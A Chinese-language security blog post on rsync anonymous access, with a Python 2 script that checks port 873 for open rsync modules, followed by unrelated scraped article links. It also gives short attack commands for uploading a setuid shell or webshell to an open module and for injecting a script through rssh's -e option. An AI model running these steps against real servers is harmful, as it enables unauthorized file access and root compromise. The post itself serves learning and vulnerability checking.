Rsync匿名访问漏洞
前言
前两天总结了互联网或者说IT公司内网常见的漏洞,然后决定针对还没学习过不了解的漏洞进行学习了解,所以准备一一针对来研习,今天是第一篇,立一个Flag,争取今年搞定,为啥说的这么艰难,因为平时工作忙,不一定每周都有时间研究,说一下,常见的WEB类漏洞,弱口令漏洞就不在赘述了,不算在此次学习之列
Rsync简介
什么是Rsync
Rsync(remote synchronize)是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。
什么是Rsync的匿名访问
匿名访问很简单,不需要用户名,不需要身份验证的所有信息(包括各种口令、公私钥、生物学特征等等),简而言之就是一句话,没有任何访问控制,直接可以访问
一般危害
下载:#rsync -avz a.b.c.d::path/file path/filiname
上传:#rsync -avz path/filename a.b.c.d::path/file
提权操作
#chmod a+s shell
#rsync -avz shell a.b.c.d::path/file
*查看shell权限不变,运行后提权到root,也可以尝试上传webshell*
rssh
此外rssh-2.3.3-3没有正确过滤-e选项,可能导致问题。
#rsync -e./script.sh a.b.c.d::/tmp--server ./
漏洞验证
- Metaspolit的auxiliary/scanner/rsync/modules_list
- python脚本
# -*- coding:utf-8 -*-
"""
Rsync匿名访问漏洞(未授权访问漏洞)验证工具
"""
#引入依赖的包和库文件
import os
import sys
import socket
import logging
#全局配置设置
logging.basicConfig(level=logging.INFO,format="%(message)s")
socket.setdefaulttimeout(3)
#全局变量
client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#全局函数:
def str2Binary(content):
"""将文本流转换成二进制流"""
return content.replace(' ','').replace('\n','').decode('hex')
def rsyncCheck(ip,port):
"""执行端口预检查"""
global client
try:
client.connect((ip,port))
except Exception,reason:
logging.error("[-] 访问失败:%s"%reason)
return False
helloString = "405253594e43443a2033312e300a"
try:
client.send(str2Binary(helloString))
hellodata = client.recv(1024)
except Exception,reason:
logging.error("[-] 通信失败:%s"%reason)
return False
if hellodata.find("@RSYNCD") >= 0:
try:
client.send(str2Binary("0a"))
except Exception,reason:
logging.error("[-] 访问失败:%s"%reason)
return False
while True:
try:
data = client.recv(1024)
except Exception,reason:
logging.error("[-] 通信失败:%s"%reason)
if data == "":
break
else:
if str(data).find("@RSYNCD: EXIT") >= 0:
logging.info("[*] 发现漏洞!")
return True
return False
if __name__ == "__main__":
ip = sys.argv[1]
try:
port = sys.argv[2]
except Exception,reason:
port = 873
logging.error("[-] 端口未输入,按照873默认端口进行")
try:
port = int(port)
except Exception,reason:
logging.error("[-] 端口输入错误,按照873默认端口进行")
port = 873
if not rsyncCheck(ip,port):
logging.info("[+] 测试安全!")
Rsync匿名访问漏洞的更多相关文章
- rsync未授权访问漏洞利用
漏洞描述:rsync是Linux系统下的数据镜像备份工具,使用快速增量备份工具Remote Sync可以远程同步,支持本地复制,或者与其他ssh,rsync主机同步.也就是说如果你可以连接目标IP的r ...
- 【Vulhub】Rsync未授权访问漏洞复现
Rsync未授权访问 Rsync简介 rsync,remote synchronize顾名思意就知道它是一款实现远程同步功能的软件,它在同步文件的同时,可以保持原来文件的权限.时间.软硬链接等附加信息 ...
- Rsync未授权访问漏洞的利用和防御
首先Rsync未授权访问利用 该漏洞最大的隐患在于写权限的开启,一旦开启了写权限,用户就可以,用户就可以利用该权限写马或者写一句话,从而拿到shell. 我们具体来看配置文件的网相关选项(/etc/r ...
- rsync未授权访问漏洞复现
rsync未授权访问漏洞简介 rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口.由于配置不当,导致任何人可未授权访问r ...
- ftp 匿名访问设置
为了让ftp可以匿名访问,需要设置/etc/vsftp.conf 的 anonymous_enable=YES. 当然仅仅是这样,还是不可以的,会出现错误: vsftpd: refusing to r ...
- yarn 用户导致的被挖矿 启用Kerberos认证功能,禁止匿名访问修改8088端口
用户为dr.who,问下内部使用人员,都没有任务在跑: 结论: 恭喜你,你中毒了,攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程 ...
- ZooKeeper通过ACL修复未授权访问漏洞
默认情况下ZooKeeper允许匿名访问,因此在安全漏洞扫描中暴漏未授权访问漏洞. 一.参考资料 <ZooKeeper 笔记(5) ACL(Access Control List)访问控制列表& ...
- mongodb未授权访问漏洞
catalogue . mongodb安装 . 未授权访问漏洞 . 漏洞修复及加固 . 自动化检测点 1. mongodb安装 apt-get install mongodb 0x1: 创建数据库目录 ...
- 在JaveWeb项目中配置Spring 匿名访问时,匹配规则的变相实现/*
实现/* /** * 根据当前的URL返回该url的角色集合. * 1.如果当前的URL在匿名访问的URL集合当中时,在当前的角色中添加匿名访问的角色(SysRole.ROLE_CONFIG_ANON ...
随机推荐
- m个苹果放在n个盘子里面有多少种放法?(动态规划)
m个苹果放在n个盘子里面有多少种放法?(动态规划) 实现代码如下: #include <iostream> using namespace std; int s(int m ,int n) ...
- 数据结构——算法之(043)(c++各种排序算法实现)
[申明:本文仅限于自我归纳总结和相互交流,有纰漏还望各位指出. 联系邮箱:Mr_chenping@163.com] 题目: c++ 各种排序算法实现 题目分析: 详细排序原理參考相关算法书籍 算法实现 ...
- npm常用命令汇总
npm是一个node包管理和分发工具,已经成为了非官方的发布node模块(包)的标准. 有了npm,可以很快的找到特定服务要使用的包,进行下载.安装以及管理已经安装的包. 1.npm install ...
- esayUI实践的一些体会
1.如何在页面中使用 easy ui ? 引入 四个文件 <!-- 引入easy ui --> <link rel="stylesheet" type=" ...
- HTML坦克大战学习01
<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <t ...
- SQL Server 查询分析器键盘快捷方式
下表列出 SQL Server 查询分析器提供的所有键盘快捷方式. 活动 快捷方式 书签:清除所有书签. CTRL-SHIFT-F2 书签:插入或删除书签(切换). CTRL+F2 书签:移动到下一个 ...
- 【转】淘宝技术牛p博客整理
转自:http://blog.csdn.NET/zdp072/article/details/19574793 淘宝技术委员会是由淘宝技术部高级技术人员组成的一个组织,共分为Java分会.C/C++分 ...
- 自然语言交流系统 phxnet团队 创新实训 个人博客 (二)
因为项目用的到条件编译,遂专门记载: 众所周知在C和CPP中可以通过预处理语句来实现条件编译,但是在java中没有预处理语句,我们该如何实现条件编译呢? 这是一个简单的demo public clas ...
- ioctl参数cmd=2错误
在写内核驱动的时候,用到了ioctl.自己定义cmd作为ioctl的参数.如下: enum CMD { LEVEL_DOWN, LEVEL_UP, GPIO_INPUT, GPIO_OUTPUT, G ...
- e669. 绘制缓冲图像
To draw on a buffered image, create a graphics context on the buffered image. // Create a graphics c ...